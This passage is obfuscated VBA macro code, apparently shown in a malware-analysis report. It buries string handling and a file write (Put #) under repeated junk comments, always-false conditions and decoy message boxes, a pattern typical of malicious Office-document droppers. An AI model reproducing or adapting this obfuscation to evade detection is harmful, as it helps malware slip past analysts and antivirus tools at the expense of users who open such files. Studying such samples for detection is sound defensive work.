'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF CQNKHLEJ = RTrim(OWMGQUKO) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 992887 = 992887 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 9826 < 54 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("HBBSLJUP16") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("FMYZPLOQ3189") = Len("GVOGKJIL") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Put #LSCOYILUQNP, , APXADSKJDFK 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF Dim RKAEJSTU, HCDYLNOK, FIJLJZGJ As String 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 628364 = 628364 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 1628 < 34 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LZEVLPWP16") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("LUEGFPYO4882") = Len("ZWPPQAJO") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF RKAEJSTU = " DMFVOI " 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 968469 = 968469 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 7167 < 36 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("LYUSKPUF88") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("EYEPRNSE1331") = Len("RPUVDBQO") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF HCDYLNOK = LTrim(RKAEJSTU) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 757677 = 757677 + 1 Then End 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If 8227 < 75 Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("BLNDHTQD29") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF If Len("UOESVCUT9968") = Len("AEAKKEMK") Then 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF MsgBox ("ERROR !!!") 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF End If 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF FIJLJZGJ = RTrim(HCDYLNOK) 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF …

Open this report in the interactive analyzer, or submit your own file for analysis.